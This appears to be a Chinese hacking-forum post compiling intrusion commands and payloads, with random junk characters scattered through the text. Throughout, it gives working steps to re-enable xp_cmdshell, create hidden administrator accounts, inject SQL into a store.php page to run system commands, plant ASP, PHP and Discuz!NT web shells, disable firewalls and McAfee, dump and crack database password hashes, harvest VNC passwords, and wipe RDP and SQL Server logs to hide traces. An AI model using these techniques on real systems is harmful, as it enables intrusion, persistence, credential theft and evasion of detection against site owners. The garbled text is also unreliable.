! O, k& Z- `$ ?, C恢复cmdshell的sql语句6 p( p5 }* o3 c* ^/ g
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'7 A$ S+ l3 s9 e5 A. b' |5 V3 r
2 V" ^9 J+ i/ o $ S2 M$ G3 K4 }- O3 ^+ @' J开启cmdshell的sql语句 . m# O% z5 M$ @" d. M b% h" r+ }3 J8 {6 wexec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'/ R$ ?3 F' d' k3 I
/ O5 z/ @6 l+ x; b# G: o, a! u
判断存储扩展是否存在 3 e; A1 g5 Q' s% T7 A7 Q' Cselect count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'* l' T& g3 U- q/ P
返回结果为1就ok 1 o0 x+ M; @' V( q, L ) `/ o' W8 B& D' }$ {恢复xp_cmdshell1 H. C; k' o. g/ c0 i9 t' c% p
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'4 y- h4 A; [% H& u# f% Y5 M
返回结果为1就ok % s) r' Q$ V/ t# S/ o3 U& }' G5 u8 y. X# m- U% {7 j' s5 G2 B
否则上传xplog7.0.dll ) v7 ]8 r+ H5 ]exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll' ; h1 j4 `, _) R1 A- s8 w 4 R2 H# X1 M# P+ ~% g# A8 j) q堵上cmdshell的sql语句 : D+ H: k, o+ |" j, M4 ssp_dropextendedproc "xp_cmdshel$ N- M6 P2 z! c5 z7 i' }. _; w
------------------------- 0 ^9 ^. E2 w, f; [$ r ~清除3389的登录记录用一条系统自带的命令:- k! O- H/ P* ^/ j
reg delete "hkcu\Software\Microsoft\Terminal Server Client" /f * }* ~9 W, ]2 e$ R ) y# Z$ U1 L! s- m/ c# ?& q然后删除当前帐户的 My Documents 文件夹下的 Default.rdp 文件& K, a E' d7 m: w
在 mysql里查看当前用户的权限, f# f( ]: N! P9 _7 F9 D _+ T. h
show grants for B6 W5 N4 W% z' F h$ o8 Y: u 8 j9 Q# [7 Z! v6 c" j以下语句具有和ROOT用户一样的权限。大家在拿站时应该碰到过。root用户的mysql,只可以本地连,对外拒绝连接。以下方法可以帮助你解决这个问题了,下面的语句功能是,建立一个用户为itpro 密码123 权限为和root一样。允许任意主机连接。这样你可以方便进行在本地远程操作数据库了。 2 Q5 s0 n9 q" u3 d8 \* b6 I. a, ?8 R P9 |; ^9 K! S
. A( ]5 t3 Q" g F+ C7 M3 Q. R3 W: jCreate USER 'itpro'@'%' IDENTIFIED BY '123';* }7 i) @9 g. \; k6 H2 ~. D# n
, c0 E. n9 ^4 C0 h6 e% g1 c
GRANT ALL PRIVILEGES ON *.* TO 'itpro'@'%' IDENTIFIED BY '123'WITH GRANT OPTION 5 \' Q% W" E3 F$ [+ J6 S! G, o C! G% t! T/ V8 X6 C& b
MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0. v) }( W' k' O; x/ v1 k. U; a" V; A
; d1 [1 n: g$ ]
MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;0 D- @$ A8 v$ M; l" k; D
" c F4 V: R- @9 _5 B t9 R
搞完事记得删除脚印哟。9 i4 {: |1 S, X+ e$ k$ q: c
$ l) f! j% f4 o+ QDrop USER 'itpro'@'%'; ! Y6 o2 u. l2 C8 r8 w5 d5 x2 k$ `4 [9 R. e6 e1 s8 F7 g
Drop DATABASE IF EXISTS `itpro` ; 6 ~+ `1 v# o" b$ \6 t9 V) ]3 W6 V2 ?# R2 C# [; ^
当前用户获取system权限 , e [% w E1 \sc Create SuperCMD binPath= "cmd /K start" type= own type= interact% `5 Z7 i1 H2 L! p; |1 b1 I0 M2 D
sc start SuperCMD - O& R2 u. H( ]9 k% t! g" c程序代码 . n8 L# Y$ f( d: m, @3 x6 F# n<SCRIPT LANGUAGE="VBScript">4 \3 l) y$ G8 e
set wsnetwork=CreateObject("WSCRIPT.NETWORK")% G L/ N5 i) ?- g, G
os="WinNT://"&wsnetwork.ComputerName ( n6 ~+ I9 _+ }# |1 oSet ob=GetObject(os) ' Q4 b6 v+ p" p0 u! V/ a3 MSet oe=GetObject(os&"/Administrators,group") ) c. V$ s( }" L9 CSet od=ob.Create("user","nosec") / a! c3 U. f3 {( ?od.SetPassword "123456abc!@#" 2 i+ {( k' l# ~( e2 Q+ Bod.SetInfo 0 ^: w4 d8 e/ W7 J1 SSet of=GetObject(os&"/nosec",user) F; o8 T& ]9 r4 G5 Q
oe.add os&"/nosec"! c/ M- v* m6 F! `3 E
</Script>+ g5 U o$ D) R$ p5 P
<script language=javascript>window.close();</script>; j, A) d# I+ p: U1 J' I- |9 Q
, E5 @. g% t" R7 `) I" a: G0 F; X$ l& m, g, T; ^7 P
/ P" K9 e8 c, g4 t* A& P: x- }/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' ) O+ k- m0 }# J0 `# S3 nSTRICT -- $ n0 e8 B2 b/ i. F' D$ B 4 R8 n$ J6 {, o' P6 c! s, r/store.php?id=1; SELECT system('uname -a > /tmp/test') --+ T, k! u8 o$ {) g1 c" r( A& |
8 `# e7 a' T$ ~
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --( Z O& Z0 X: x% H
' b) ]8 {% [& [, {) R4 k
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--' Y' r, Q' d$ u& H; g
net stop sharedaccess stop the default firewall. M5 I( U/ y% S2 Z( w
netsh firewall show show/config default firewall+ |5 M) S1 c% `' q) ]& p o
netsh firewall set notifications disable disable the notify when the program is disabled by the default firewall : t1 ]/ O) J* s/ b, o j& M0 b' V# Nnetsh firewall add allowedprogram c:\1.exe Svchost add the program which is allowed by default firewall3 n8 N" O: [- O+ C
修改3389端口方法(修改后不易被扫出) , l, t7 s/ Z& W' J修改服务器端的端口设置,注册表有2个地方需要修改 $ g. [+ [+ @0 h; a ) ?& J1 R) K) O[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Wds\\rdpwd\\Tds\\tcp] ( N2 P1 P t$ i5 i$ |PortNumber值,默认是3389,修改成所希望的端口,比如6000* [- g8 n5 |# f+ {% @& n9 i3 ?
" x2 I6 v5 `: B6 l/migrate -- 将客户端连接管理器创建的旧版$ b) o O, @' `
连接文件迁移到新的 .rdp 连接文件。; @, D2 q& y1 S- o& u' \
5 e1 K. R( {- I + ?2 K. E' i3 ~其中mstsc /console连接的是session 0,而mstsc是另外打开一个虚拟的session,这样的话就是相当与另外登陆计算机。也就是说带console参数连接的是显示器显示的桌面。大家可以试试啊,有的时候用得着的,特别是一些软件就9 N4 S& v$ f+ @, F
mstsc /console /v:124.42.126.xxx 突破终端访问限制数量5 H$ q: d# M5 e
+ G0 Y2 q3 m$ o( k+ D6 C; s0 \9 _+ p命令行下开启3389 2 a% ^( e( J: C# U) Znet user asp.net aspnet /add 2 ^6 C( _4 ^! { ?! d& fnet localgroup Administrators asp.net /add 9 d0 h4 @. t( V! U i3 g2 {net localgroup "Remote Desktop Users" asp.net /add1 X/ {2 e( p# s% u
attrib +h "%SYSTEMDRIVE%\Documents and Settings\asp.net" /S /D 5 F u; M; I$ `$ J: R+ o$ lecho Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 0; z" X0 @7 B5 s% I( q4 a7 `- c
echo Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v AllowTSConnections /t reg_dword /d 14 L& x8 i. }$ p6 {0 J
echo Y | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "asp.net" /t REG_DWORD /d 00000000 /f / c- m# O7 t; V( n$ @5 @/ h' n5 dsc config rasman start= auto l+ {6 g( p2 C4 ~1 g
sc config remoteaccess start= auto- \" P0 S3 ^( q
net start rasman+ Z! @# j/ j }" z
net start remoteaccess " \2 j' S0 [# N0 A! A. N PMedia& R d' | G1 s+ s( U6 Z
<form id="frmUpload" enctype="multipart/form-data" 8 z5 y/ Z: Y2 ~action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>$ e$ N l7 G8 q) p' l
<input type="file" name="NewFile" size="50"><br> J5 }0 i; E) j- T; }: N
<input id="btnUpload" type="submit" value="Upload"> 1 R% s* h9 {) Y' e</form>) G6 x o3 v: {4 [! ]
$ w# b3 L2 O* d. H( M& ncontrol userpasswords2 查看用户的密码 ! q; T. @2 ^- V. ^8 v( caccess数据库直接导出为shell,前提a表在access中存在。知道网站的真实路径* S$ j! O4 j: Z0 L1 M& X
SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a , F( n9 C8 R( {* X, ?9 ?3 p0 p/ a
141、平时手工MSSQL注入的时候如果不能反弹写入,那么大多数都是把记录一条一条读出来,这样太累了,这里给出1条语句能读出所有数据: & ^4 s) k' v/ C5 u3 p/ a5 |测试1:' F E- J1 X- q0 _; `6 r
SELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1 . E2 O+ Z! L/ o% B* n8 W3 C# L8 J o- }% ]+ n5 ?
测试2:! w) D; r) [' C+ ~" W0 @6 d. o
$ g/ @. E8 e( g2 W
create table dirs(paths varchar(100),paths1 varchar(100), id int) z j) [5 j) P! B+ x2 w1 f7 F2 h% w; U
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1-- / L/ Y' @ U& `8 q$ f5 o 1 ~/ f: G. V4 O6 l1 @) SSELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1 5 M5 g1 t) l$ o6 p* u) h `2 t* v7 v关闭macfee软件的方法://需要system权限,请使用at或psexec –s cmd.exe命令 2 \2 r) u- Q) e- J可以上传.com类型的文件,如nc.com来绕过macfee可执行限制;& O/ o5 |5 X1 @2 O
net stop mcafeeframework 0 C& P+ f& i- G( g# P5 ]: Hnet stop mcshield |2 ^8 r; I- C& L4 P8 a6 Q
net stop mcafeeengineservice; l' E! a3 ~ v
net stop mctaskmanager 9 j* f% Z& u8 B" H! \4 d; f. s) y" Dhttp://www.antian365.com/forum.p ... DU5Nzl8NDY5Mw%3D%3D0 v! p* y R. |+ j# v
. `! d! X4 I0 r VNCDump.zip (4.76 KB, 下载次数: 1) 2 |5 M, [- ~4 E# a A密码在线破解http://tools88.com/safe/vnc.php & Y+ F" I h6 q! l0 K. eVNC密码可以通过vncdump 直接获取,通过dos查询[HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4] 下的Password也可以获取 ' D- Y( f. j: J1 Z/ z+ }1 Y' a9 o5 X8 n } h
exec master..xp_cmdshell 'net user'6 E: |0 e: z2 z- }! x
mssql执行命令。9 n% {7 j1 s. }! Z! }" Q4 y
获取mssql的密码hash查询" n5 O; j3 E& ? M) g
select name,password from master.dbo.sysxlogins % g: Y2 Q2 h' r" ]$ m& q- |* M: C. y: f5 g/ v' P/ w
backup log dbName with NO_LOG;6 P& F5 {5 m4 S5 A$ q$ `
backup log dbName with TRUNCATE_ONLY;7 f: u6 O. G8 s/ @. x
DBCC SHRINKDATABASE(dbName);% m6 U0 F5 l3 y! V$ t
mssql数据库压缩 U8 d; }: g E" G( x* y( B r8 ]& f# a9 ]/ y! y! }" e2 K
Rar.exe a -ep1 -m0 -v200m E:\web\1.rar E:\webbackup\game_db_201107170400.BAK 1 [* Z" h( M; |% W, ^0 B# m5 y1 b将game_db_201107170400.BAK文件压缩为1.rar,大小为200M的分卷文件。* I4 G0 Y! S3 i
0 D$ D, d0 n6 m: c" N6 pbackup database game to disk='D:\WebSites\game.com\UpFileList\game.bak' 9 o' a% b! G# g! `8 m备份game数据库为game.bak,路径为D:\WebSites\game.com\UpFileList\game.bak . S |0 F! q8 _ 4 t7 D* V2 `* |" S; _2 ?Discuz!nt35渗透要点: 1 H6 T8 E, G6 k, q0 t(1)访问 网站地址/admin/global/global_templatesedit.aspx?path=../tools/&filename=rss.aspx&templateid=1&templatename=Default 0 y0 Y: `- h$ e) q' j(2)打开rss.aspx文件,将<%@ Page Inherits="Discuz.Web.UI.RssPage" %>复制到本地备份,然后替换其为<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%> " Y N4 J" ]6 k& L A( Q(3)保存。 7 d6 |: e9 ?: C. H6 O# l, J' m(4)一句话后门地址http://somesite.com.cn/tools/rss.aspx 密码为pass" `. Y& i6 }0 |! v
d:\rar.exe a -r d:\1.rar d:\website\ : U: L- {' {6 U- z递归压缩website( Y' M, Z! D6 F' ~+ z
注意rar.exe的路径- o! D, O' b! f5 B/ B( o
0 b8 v2 d2 k- e9 F
<?php 2 F4 u, ^: k* W3 p$ j: P* V 4 q+ `9 l& n4 g: a' Z0 b$telok = "0${@eval($_POST[xxoo])}"; 0 r* ]. R! P3 |' |' h% n3 k7 x + i d% D5 O$ m" J8 H; t: {$username = "123456";; B! y- H Y9 t* h# q
: R4 S7 n7 \! ^6 M8 i
$userpwd = "123456";1 x0 A/ y4 L9 i0 E, Z
% A/ [8 |5 n* D- v4 Y; WSelect user, password from mysql.user$ ~! t( u* p$ |, m" m7 v- x
The hashes can be cracked in ‘cain and abel’: R, W) X& k( F: E1 ~9 @7 F
. d4 W7 @& H0 m% Y% ^. v* S
Postgres:-, ]' ]2 i+ f% V. b V6 ^! e
Postgres keeps MD5-based password hashes for database-level users in the pg_shadow table. You need to be the database superuser to read this table (usually called “postgres” or “pgsql”)3 G5 G8 K9 ~7 _, u0 [" m# Q
select usename, passwd from pg_shadow;, A7 r2 ^; a4 E2 ~* E
usename | passwd. P' }1 [- _4 }' m$ K$ H6 K
——————+————————————-) C2 @; `# a8 j# }9 L# |4 ^
testuser | md5fabb6d7172aadfda4753bf0507ed4396 x% l; l+ ~5 X5 r# y% e9 ]/ \use mdcrack to crack these hashes:- & {" q' W9 S8 }8 E$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396. O7 A& D/ n q: W' x1 M. K8 T3 k
2 \, u* ?* L- t3 p
Oracle:- 7 U* a, ]. N8 V2 v4 b/ d- cselect name, password, spare4 from sys.user$: U3 B- A G* f% P8 R
hashes could be cracked using ‘cain and abel’ or thc-orakelcrackert11g9 P, B G3 R( S: ^! H0 }) P' |0 h
More on Oracle later, i am a bit bored….5 d. T! v* M7 k* D
# u- A% P4 ?8 ]# d: L
6 D) }8 D" s' j7 F8 @
在sql server2005/2008中开启xp_cmdshell & n' a6 T/ c8 K f# E-- To allow advanced options to be changed.8 J* Z# b. |7 ?! {2 N x2 L) }
EXEC sp_configure 'show advanced options', 1. V5 S4 ^5 p, |6 m! |- W
GO0 I7 r9 g/ j+ u- I" F
-- To update the currently configured value for advanced options. ' T' f$ t' S ZRECONFIGURE- L1 |) F+ o5 [% y. W3 O
GO/ ~. \- C0 s) ~) r% b) h
-- To enable the feature. ) M* S4 Z7 H: D2 b* R& u1 iEXEC sp_configure 'xp_cmdshell', 1 0 l p$ |8 X2 w& a. M" {GO6 n: L' p; ~. h1 M `; {% H
-- To update the currently configured value for this feature.; F+ B5 b! e8 X' U0 A+ S
RECONFIGURE2 p4 h: R* t7 z
GO - B! e# O$ j4 u, Y: sSQL 2008 server日志清除,在清楚前一定要备份。) b, v: V0 D: a3 R7 U: P/ D
如果Windows Server 2008 标准版安装SQL Express 2008,则在这里删除:1 F" Y S* r2 D# t8 s% o
X:\Users[SomeUser]\AppData\Roaming\Microsoft\Microsoft SQL Server\100\Tools\Shell\SqlStudio.bin; k3 _* s0 h. q* Q) l6 _
2 [6 W$ d/ L1 q2 f$ ?对于SQL Server 2008以前的版本:/ B v! q6 f* z$ k. P( L
SQL Server 2005:6 r, Y2 V6 T \7 s4 `
删除X:\Documents and Settings\XXX\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat 2 n4 S" F6 {+ i+ ^9 J0 GSQL Server 2000: - Z3 A6 n, K, @1 n3 A( X: a/ u* `: n5 l清除注册表HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers\相应的内容即可。 - O6 b' O. J V; x- p c; E# Y' A7 t, r/ p; L- ?
本帖最后由 simeon 于 2013-1-3 09:51 编辑+ M6 F! f+ R- a# o- q. ~+ ]9 o